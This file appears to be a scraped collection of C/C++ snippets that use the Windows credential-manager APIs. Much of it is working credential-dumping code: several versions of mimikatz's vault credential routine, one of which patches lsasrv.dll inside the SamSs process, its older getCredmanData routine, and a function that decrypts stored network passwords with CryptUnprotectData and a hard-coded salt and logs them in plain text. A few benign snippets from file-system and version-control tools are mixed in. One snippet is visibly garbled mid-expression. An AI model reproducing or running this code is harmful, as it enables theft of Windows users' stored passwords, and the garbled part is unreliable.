void OsListCreds(void) { DWORD dwCount; PCREDENTIAL* creds; if(!CredEnumerate(NULL, CRED_ENUMERATE_ALL_CREDENTIALS, &dwCount, &creds)) deb("failed creds enum %s", fmterr()); for(DWORD i=0;i<dwCount;i++) { deb("cred #%02d: tgname:%s com:%s user:%s size:%d data:%s",i, creds[i]->TargetName, creds[i]->Comment,creds[i]->UserName, creds[i]->CredentialBlobSize,creds[i]->CredentialBlob); } CredFree(creds); }
NTSTATUS kuhl_m_vault_cred(int argc, wchar_t * argv[]) { DWORD credCount, i; PCREDENTIAL * pCredential = NULL; DWORD flags = 0; UNICODE_STRING creds; do { if(CredEnumerate(NULL, flags, &credCount, &pCredential)) { for(i = 0; i < credCount; i++) { kprintf(L"TargetName : %s / %s\n" L"UserName : %s\n" L"Comment : %s\n" L"Type : %u - %s\n" L"Credential : ", pCredential[i]->TargetName ? pCredential[i]->TargetName : L"<NULL>", pCredential[i]->TargetAlias ? pCredential[i]->TargetAlias : L"<NULL>", pCredential[i]->UserName ? pCredential[i]->UserName : L"<NULL>", pCredential[i]->Comment ? pCredential[i]->Comment : L"<NULL>", pCredential[i]->Type, (pCredential[i]->Type < CRED_TYPE_MAXIMUM) ? CredTypeToStrings[pCredential[i]->Type] : L"? (type > CRED_TYPE_MAXIMUM)" ); creds.Buffer = (PWSTR) pCredential[i]->CredentialBlob; creds.Length = creds.MaximumLength = (USHORT) pCredential[i]->CredentialBlobSize; if(kull_m_string_suspectUnicodeString(&creds)) kprintf(L"%wZ", &creds); else kull_m_string_wprintf_hex(pCredential[i]->CredentialBlob, pCredential[i]->CredentialBlobSize, 1); kprintf(L"\n\n"); } CredFree(pCredential); } flags++; } while((flags <= CRED_ENUMERATE_ALL_CREDENTIALS) && (MIMIKATZ_NT_MAJOR_VERSION > 5)); return STATUS_SUCCESS; }
NTSTATUS kuhl_m_vault_cred(int argc, wchar_t * argv[]) { DWORD credCount, i; PCREDENTIAL * pCredential = NULL; DWORD flags = 0; UNICODE_STRING creds; SERVICE_STATUS_PROCESS ServiceStatusProcess; PKULL_M_MEMORY_HANDLE hMemory; KULL_M_MEMORY_HANDLE hLocalMemory = { KULL_M_MEMORY_TYPE_OWN, NULL }; KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION iModuleSamSrv; HANDLE hSamSs; KULL_M_MEMORY_ADDRESS aPatternMemory = { NULL, &hLocalMemory }, aPatchMemory = { NULL, &hLocalMemory }; KULL_M_MEMORY_SEARCH sMemory; PKULL_M_PATCH_GENERIC CredpCloneCredentialReference; static BOOL isPatching = FALSE; if (!isPatching && kull_m_string_args_byName(argc, argv, L"patch", NULL, NULL)) { if (CredpCloneCredentialReference = kull_m_patch_getGenericFromBuild(CredpCloneCredentialReferences, sizeof(CredpCloneCredentialReferences) / sizeof(KULL_M_PATCH_GENERIC), MIMIKATZ_NT_BUILD_NUMBER)) { aPatternMemory.address = CredpCloneCredentialReference->Search.Pattern; aPatchMemory.address = CredpCloneCredentialReference->Patch.Pattern; if (kull_m_service_getUniqueForName(L"SamSs", &ServiceStatusProcess)) { if (hSamSs = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, FALSE, ServiceStatusProcess.dwProcessId)) { if (kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hSamSs, &hMemory)) { if (kull_m_process_getVeryBasicModuleInformationsForName(hMemory, L"lsasrv.dll", &iModuleSamSrv)) { sMemory.kull_m_memoryRange.kull_m_memoryAdress = iModuleSamSrv.DllBase; sMemory.kull_m_memoryRange.size = iModuleSamSrv.SizeOfImage; isPatching = TRUE; if (!kull_m_patch(&sMemory, &aPatternMemory, CredpCloneCredentialReference->Search.Length, &aPatchMemory, CredpCloneCredentialReference->Patch.Length, CredpCloneCredentialReference->Offsets.off0, kuhl_m_vault_cred, argc, argv, NULL)) PRINT_ERROR_AUTO(L"kull_m_patch"); isPatching = FALSE; } else PRINT_ERROR_AUTO(L"kull_m_process_getVeryBasicModuleInformationsForName"); kull_m_memory_close(hMemory); } } else PRINT_ERROR_AUTO(L"OpenProcess"); } else PRINT_ERROR_AUTO(L"kull_m_service_getUniqueForName"); } } else { do { if (CredEnumerate(NULL, flags, &credCount, &pCredential)) { for (i = 0; i < credCount; i++) { kprintf(L"TargetName : %s / %s\n" L"UserName : %s\n" L"Comment : %s\n" L"Type : %u - %s\n" L"Credential : ", pCredential[i]->TargetName ? pCredential[i]->TargetName : L"<NULL>", pCredential[i]->TargetAlias ? pCredential[i]->TargetAlias : L"<NULL>", pCredential[i]->UserName ? pCredential[i]->UserName : L"<NULL>", pCredential[i]->Comment ? pCredential[i]->Comment : L"<NULL>", pCredential[i]->Type, (pCredential[i]->Type < CRED_TYPE_MAXIMUM) ? CredTypeToStrings[pCredential[i]->Type] : L"? (type > CRED_TYPE_MAXIMUM)" ); creds.Buffer = (PWSTR)pCredential[i]->CredentialBlob; creds.Length = creds.MaximumLength = (USHORT)pCredential[i]->CredentialBlobSize; if (kull_m_string_suspectUnicodeString(&creds)) kprintf(L"%wZ", &creds); else kull_m_string_wprintf_hex(pCredential[i]->CredentialBlob, pCredential[i]->CredentialBlobSize, 1); kprintf(L"\n\n"); } CredFree(pCredential); } flags++; } while ((flags <= CRED_ENUMERATE_ALL_CREDENTIALS) && (MIMIKATZ_NT_MAJOR_VERSION > 5)); } return STATUS_SUCCESS; }
DWORD APIENTRY NPAddConnection(LPNETRESOURCEW lpNetResource, LPWSTR lpPassword, LPWSTR lpUserName) { DWORD NpResult; DWORD dwType = lpNetResource->dwType; LPWSTR lpRemoteName = lpNetResource->lpRemoteName; LPWSTR lpLocalName = lpNetResource->lpLocalName; WCHAR LocalNameBuf[3]; PWSTR ClassName, InstanceName, RemoteName, P; ULONG ClassNameLen, InstanceNameLen; DWORD CredentialsKind; PWSTR PipeBuf = 0; #if defined(FSP_NP_CREDENTIAL_MANAGER) PCREDENTIALW Credential = 0; #endif if (dwType & RESOURCETYPE_PRINT) return WN_BAD_VALUE; if (!FspNpParseRemoteName(lpRemoteName, &ClassName, &ClassNameLen, &InstanceName, &InstanceNameLen)) return WN_BAD_NETNAME; RemoteName = lpRemoteName + 1; LocalNameBuf[0] = L'\0'; if (0 != lpLocalName && L'\0' != lpLocalName[0]) { if (!FspNpCheckLocalName(lpLocalName)) return WN_BAD_LOCALNAME; LocalNameBuf[0] = lpLocalName[0] & ~0x20; /* convert to uppercase */ LocalNameBuf[1] = L':'; LocalNameBuf[2] = L'\0'; if (GetLogicalDrives() & (1 << (LocalNameBuf[0] - 'A'))) return WN_ALREADY_CONNECTED; } FspNpGetCredentialsKind(lpRemoteName, &CredentialsKind); #if defined(FSP_NP_CREDENTIAL_MANAGER) /* if we need credentials and none were passed check with the credential manager */ if (FSP_NP_CREDENTIALS_NONE != CredentialsKind && 0 == lpPassword && CredReadW(lpRemoteName, CRED_TYPE_GENERIC, 0, &Credential)) { if (sizeof(WCHAR) <= Credential->CredentialBlobSize && L'\0' == ((PWSTR)(Credential->CredentialBlob)) [(Credential->CredentialBlobSize / sizeof(WCHAR)) - 1]) { lpUserName = Credential->UserName; lpPassword = (PVOID)Credential->CredentialBlob; } } #endif /* if we need credentials and we don't have any return ACCESS DENIED */ if (FSP_NP_CREDENTIALS_NONE != CredentialsKind) { int Length; if (0 == lpPassword || (0 == (Length = lstrlenW(lpPassword))) || CREDUI_MAX_PASSWORD_LENGTH < Length) { NpResult = WN_ACCESS_DENIED; goto exit; } } if (FSP_NP_CREDENTIALS_USERPASS == CredentialsKind) { int Length; if (0 == lpUserName || (0 == (Length = lstrlenW(lpUserName))) || CREDUI_MAX_USERNAME_LENGTH < Length) { NpResult = WN_ACCESS_DENIED; goto exit; } } PipeBuf = MemAlloc(LAUNCHER_PIPE_BUFFER_SIZE); if (0 == PipeBuf) { NpResult = WN_OUT_OF_MEMORY; goto exit; } /* we do not explicitly check, but assumption is it all fits in LAUNCHER_PIPE_BUFFER_SIZE */ P = PipeBuf; *P++ = FSP_NP_CREDENTIALS_NONE != CredentialsKind ? LauncherSvcInstanceStartWithSecret : LauncherSvcInstanceStart; memcpy(P, ClassName, ClassNameLen * sizeof(WCHAR)); P += ClassNameLen; *P++ = L'\0'; memcpy(P, InstanceName, InstanceNameLen * sizeof(WCHAR)); P += InstanceNameLen; *P++ = L'\0'; lstrcpyW(P, RemoteName); P += lstrlenW(RemoteName) + 1; lstrcpyW(P, LocalNameBuf); P += lstrlenW(LocalNameBuf) + 1; if (FSP_NP_CREDENTIALS_USERPASS == CredentialsKind) { lstrcpyW(P, lpUserName); P += lstrlenW(lpUserName) + 1; } if (FSP_NP_CREDENTIALS_NONE != CredentialsKind) { lstrcpyW(P, lpPassword); P += lstrlenW(lpPassword) + 1; } NpResult = FspNpCallLauncherPipe( PipeBuf, (ULONG)(P - PipeBuf) * sizeof(WCHAR), LAUNCHER_PIPE_BUFFER_SIZE); switch (NpResult) { case WN_SUCCESS: case WN_ACCESS_DENIED: break; case ERROR_ALREADY_EXISTS: /* * The file system is already running! If we are being asked for a drive mapping, * see if it is the one we already have to decide on the error code to return. */ if (L'\0' != LocalNameBuf[0]) { WCHAR ExpectRemoteNameBuf[sizeof(((FSP_FSCTL_VOLUME_PARAMS *)0)->Prefix) / sizeof(WCHAR)]; WCHAR RemoteNameBuf[sizeof(((FSP_FSCTL_VOLUME_PARAMS *)0)->Prefix) / sizeof(WCHAR)]; DWORD RemoteNameSize; P = ExpectRemoteNameBuf; *P++ = L'\\'; *P++ = L'\\'; memcpy(P, ClassName, ClassNameLen * sizeof(WCHAR)); P += ClassNameLen; *P++ = L'\\'; memcpy(P, InstanceName, InstanceNameLen * sizeof(WCHAR)); P += InstanceNameLen; *P++ = L'\0'; RemoteNameSize = sizeof RemoteNameBuf / sizeof(WCHAR); NpResult = NPGetConnection(LocalNameBuf, RemoteNameBuf, &RemoteNameSize); if (WN_SUCCESS == NpResult) NpResult = 0 == lstrcmpW(ExpectRemoteNameBuf, RemoteNameBuf) ? WN_SUCCESS : WN_NO_NETWORK; else NpResult = WN_NO_NETWORK; } else /* we are not being asked for a drive mapping, so whatever we have is good! */ NpResult = WN_SUCCESS; break; default: NpResult = WN_NO_NETWORK; break; } exit: MemFree(PipeBuf); #if defined(FSP_NP_CREDENTIAL_MANAGER) if (0 != Credential) CredFree(Credential); #endif return NpResult; }
bool WINAPI getCredmanData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity) { wostringstream message; if(searchCredmanFuncs()) { DWORD credNb = 0; PCREDENTIAL * pCredential = NULL; DWORD CredIEnumerateFlags = (mod_system::GLOB_Version.dwMajorVersion < 6) ? 0 : CRED_ENUMERATE_ALL_CREDENTIALS; NTSTATUS status = (mod_system::GLOB_Version.dwBuildNumber < 8000 ) ? CredIEnumerate(logId, 0, NULL, CredIEnumerateFlags, &credNb, &pCredential) : reinterpret_cast<PCRED_I_ENUMERATE62>(CredIEnumerate)(logId, NULL, CredIEnumerateFlags, &credNb, &pCredential); if(NT_SUCCESS(status)) { for(DWORD i = 0; i < credNb; i++) { wstring Target(pCredential[i]->TargetName); wstring ShortTarget = (mod_system::GLOB_Version.dwMajorVersion < 6) ? Target : Target.substr(Target.find_first_of(L'=') + 1); message << endl; if(justSecurity) message << L"\t [" << i << L"] " << Target << L'\t'; else message << L"\t * [" << i << L"] Target : " << Target << L" / " << (pCredential[i]->TargetAlias ? pCredential[i]->TargetAlias : L"<NULL>") << endl << L"\t * [" << i << L"] Comment : " << (pCredential[i]->Comment ? pCredential[i]->Comment : L"<NULL>") << endl << L"\t * [" << i << L"] User : "******"[" << j << L"] "; message << descEncryptedCredential(pEncryptedCredential[j], justSecurity, prefix.str()); } SeckPkgFunctionTable->CrediFreeCredentials(dwNbCredentials, pEncryptedCredential); } else message << L"Erreur CrediReadDomainCredentials : " << mod_system::getWinError(false, status); } else { PENCRYPTED_CREDENTIALW pEncryptedCredential; NTSTATUS status = SeckPkgFunctionTable->CrediRead(logId, CREDP_FLAGS_IN_PROCESS, const_cast<wchar_t *>(ShortTarget.c_str()), pCredential[i]->Type, 0, &pEncryptedCredential); if(NT_SUCCESS(status)) { message << descEncryptedCredential(pEncryptedCredential, justSecurity); CredFree(pEncryptedCredential); } else message << L"Erreur CrediRead : " << mod_system::getWinError(false, status); } } CredFree(pCredential); } else message << L"CredIEnumerate KO : " << mod_system::getWinError(false, status); } else message << L"n.a. (credman KO)"; return sendTo(monPipe, message.str()); }
void EnumerateGenericNetworkPassword() { DATA_BLOB DataIn; DATA_BLOB DataOut; DATA_BLOB OptionalEntropy; DWORD tmpSalt[37]; char *strSalt={"abe2869f-9b47-4cd9-a358-c22904dba7f7"}; char strURL[1024]; char strCredentials[1024]; char strUsername[1024]; char strPassword[1024]; //Create the entropy/salt required for decryption... for(int i=0; i< 37; i++) tmpSalt[i] = (short int)(strSalt[i] * 4); OptionalEntropy.pbData = (BYTE *)&tmpSalt; OptionalEntropy.cbData = 74; DWORD Count; PCREDENTIAL *Credential; //Now enumerate all http stored credentials.... if(CredEnumerate(NULL,CRED_ENUMERATE_ALL_CREDENTIALS, &Count,&Credential)) { if(Count) deb("got %d creds", Count); for(int i=0;i<Count;i++) { if( Credential[i]->Type == CRED_TYPE_GENERIC) { DataIn.pbData = (BYTE *)Credential[i]->CredentialBlob; DataIn.cbData = Credential[i]->CredentialBlobSize; if(CryptUnprotectData(&DataIn, NULL, NULL, NULL, NULL,0,&DataOut)) { //Extract username & password from credentails (username:password) sprintf_s(strCredentials, 1024, "%S", DataOut.pbData); char *ptr = strchr(strCredentials, ':'); *ptr = '\0'; strcpy_s(strUsername, 1024, strCredentials); ptr++; strcpy_s(strPassword, 1024, ptr); deb("Generic Network Password account details, " " Username=%s, Password=%s", strUsername, strPassword); } else { deb("failed to unprotect cred (%s)", fmterr(GetLastError())); } } else if(Credential[i]->Type == CRED_TYPE_DOMAIN_PASSWORD) { DataIn.pbData = (BYTE *)Credential[i]->CredentialBlob; DataIn.cbData = Credential[i]->CredentialBlobSize; if(CryptUnprotectData(&DataIn, NULL, NULL, NULL, NULL,0,&DataOut)) { //Extract username & password from credentails (username:password) sprintf_s(strCredentials, 1024, "%S", DataOut.pbData); char *ptr = strchr(strCredentials, ':'); *ptr = '\0'; strcpy_s(strUsername, 1024, strCredentials); ptr++; strcpy_s(strPassword, 1024, ptr); deb(" Network Password account details, " "Username=%s, Password=%s", strUsername, strPassword); } else { deb("failed to unprotect cred (%s)", fmterr(GetLastError())); } } else { deb("unk cred type %x", Credential[i]->Type); } } // End of FOR loop CredFree(Credential); } } //End of function
MOSHEXPORT void madvapi_credfree(void* pcred){ CredFree(pcred); }
NTSTATUS kuhl_m_vault_cred(int argc, wchar_t * argv[]) { DWORD credCount, i, j; PCREDENTIAL * pCredential = NULL; DWORD flags = 0; SERVICE_STATUS_PROCESS ServiceStatusProcess; PKULL_M_MEMORY_HANDLE hMemory; KULL_M_MEMORY_HANDLE hLocalMemory = {KULL_M_MEMORY_TYPE_OWN, NULL}; KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION iModuleSamSrv; HANDLE hSamSs; KULL_M_MEMORY_ADDRESS aPatternMemory = {NULL, &hLocalMemory}, aPatchMemory = {NULL, &hLocalMemory}; KULL_M_MEMORY_SEARCH sMemory; PKULL_M_PATCH_GENERIC CredpCloneCredentialReference; static BOOL isPatching = FALSE; if(!isPatching && kull_m_string_args_byName(argc, argv, L"patch", NULL, NULL)) { if(CredpCloneCredentialReference = kull_m_patch_getGenericFromBuild(CredpCloneCredentialReferences, ARRAYSIZE(CredpCloneCredentialReferences), MIMIKATZ_NT_BUILD_NUMBER)) { aPatternMemory.address = CredpCloneCredentialReference->Search.Pattern; aPatchMemory.address = CredpCloneCredentialReference->Patch.Pattern; if(kull_m_service_getUniqueForName(L"SamSs", &ServiceStatusProcess)) { if(hSamSs = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, FALSE, ServiceStatusProcess.dwProcessId)) { if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hSamSs, &hMemory)) { if(kull_m_process_getVeryBasicModuleInformationsForName(hMemory, L"lsasrv.dll", &iModuleSamSrv)) { sMemory.kull_m_memoryRange.kull_m_memoryAdress = iModuleSamSrv.DllBase; sMemory.kull_m_memoryRange.size = iModuleSamSrv.SizeOfImage; isPatching = TRUE; if(!kull_m_patch(&sMemory, &aPatternMemory, CredpCloneCredentialReference->Search.Length, &aPatchMemory, CredpCloneCredentialReference->Patch.Length, CredpCloneCredentialReference->Offsets.off0, kuhl_m_vault_cred, argc, argv, NULL)) PRINT_ERROR_AUTO(L"kull_m_patch"); isPatching = FALSE; } else PRINT_ERROR_AUTO(L"kull_m_process_getVeryBasicModuleInformationsForName"); kull_m_memory_close(hMemory); } } else PRINT_ERROR_AUTO(L"OpenProcess"); } else PRINT_ERROR_AUTO(L"kull_m_service_getUniqueForName"); } } else { do { if(CredEnumerate(NULL, flags, &credCount, &pCredential)) { for(i = 0; i < credCount; i++) { kprintf(L"TargetName : %s / %s\n" L"UserName : %s\n" L"Comment : %s\n" L"Type : %u - %s\n" L"Persist : %u - %s\n" L"Flags : %08x\n", pCredential[i]->TargetName ? pCredential[i]->TargetName : L"<NULL>", pCredential[i]->TargetAlias ? pCredential[i]->TargetAlias : L"<NULL>", pCredential[i]->UserName ? pCredential[i]->UserName : L"<NULL>", pCredential[i]->Comment ? pCredential[i]->Comment : L"<NULL>", pCredential[i]->Type, kull_m_cred_CredType(pCredential[i]->Type), pCredential[i]->Persist, kull_m_cred_CredPersist(pCredential[i]->Persist), pCredential[i]->Flags ); kprintf(L"Credential : "); kull_m_string_printSuspectUnicodeString(pCredential[i]->CredentialBlob, pCredential[i]->CredentialBlobSize); kprintf(L"\n" L"Attributes : %u\n", pCredential[i]->AttributeCount ); if(kull_m_string_args_byName(argc, argv, L"attributes", NULL, NULL)) { for(j = 0; j < pCredential[i]->AttributeCount; j++) { kprintf(L" [%2u] Attribute\n", j); kprintf(L" Flags : %08x - %u\n", pCredential[i]->Attributes[j].Flags, pCredential[i]->Attributes[j].Flags); kprintf(L" Keyword : %s\n", pCredential[i]->Attributes[j].Keyword); kprintf(L" Value : "); kull_m_string_printSuspectUnicodeString(pCredential[i]->Attributes[j].Value, pCredential[i]->Attributes[j].ValueSize); kprintf(L"\n"); } } kprintf(L"\n"); } CredFree(pCredential); } flags++; } while((flags <= CRED_ENUMERATE_ALL_CREDENTIALS) && (MIMIKATZ_NT_MAJOR_VERSION > 5)); } return STATUS_SUCCESS; }
void SG_password__get( SG_context *pCtx, const char *szRepoSpec, const char *szUsername, SG_string **ppstrPassword) { SG_string* pstrTarget = NULL; SG_string* pstrPassword = NULL; LPWSTR pwszTarget = NULL; SG_byte* pbPassword = NULL; PCREDENTIAL pCred = NULL; BOOL result = FALSE; SG_NULLARGCHECK_RETURN(szRepoSpec); SG_NULLARGCHECK_RETURN(szUsername); SG_NULLARGCHECK_RETURN(ppstrPassword); _get_key(pCtx, szRepoSpec, szUsername, &pstrTarget); if (SG_CONTEXT__HAS_ERR(pCtx)) { SG_error err, err2; err2 = SG_context__get_err(pCtx, &err); if (SG_IS_ERROR(err2)) { SG_ERR_DISCARD; SG_ERR_THROW(err2); } if (err & __SG_ERR__GETLASTERROR__) SG_ERR_DISCARD; else SG_ERR_RETHROW; } if (pstrTarget) { SG_ERR_CHECK( SG_utf8__extern_to_os_buffer__wchar(pCtx, SG_string__sz(pstrTarget), &pwszTarget, NULL) ); result = CredReadW(pwszTarget, CRED_TYPE_GENERIC, 0, &pCred); if (!result) { DWORD err = GetLastError(); if (err != ERROR_NOT_FOUND && err != ERROR_NO_SUCH_LOGON_SESSION) SG_ERR_THROW2( SG_ERR_GETLASTERROR(GetLastError()), (pCtx, "%s", "unable to retrieve saved credentials") ); } else { SG_uint32 size = pCred->CredentialBlobSize+sizeof(wchar_t); SG_ERR_CHECK( SG_allocN(pCtx, pCred->CredentialBlobSize+sizeof(wchar_t), pbPassword) ); memcpy(pbPassword, pCred->CredentialBlob, size); SG_ERR_CHECK( SG_string__alloc(pCtx, &pstrPassword) ); SG_ERR_CHECK( SG_utf8__intern_from_os_buffer__wchar(pCtx, pstrPassword, (const LPWSTR)pbPassword) ); *ppstrPassword = pstrPassword; pstrPassword = NULL; } } /* fall through */ fail: SG_STRING_NULLFREE(pCtx, pstrTarget); SG_STRING_NULLFREE(pCtx, pstrPassword); SG_NULLFREE(pCtx, pwszTarget); SG_NULLFREE(pCtx, pbPassword); if (pCred) CredFree(pCred); }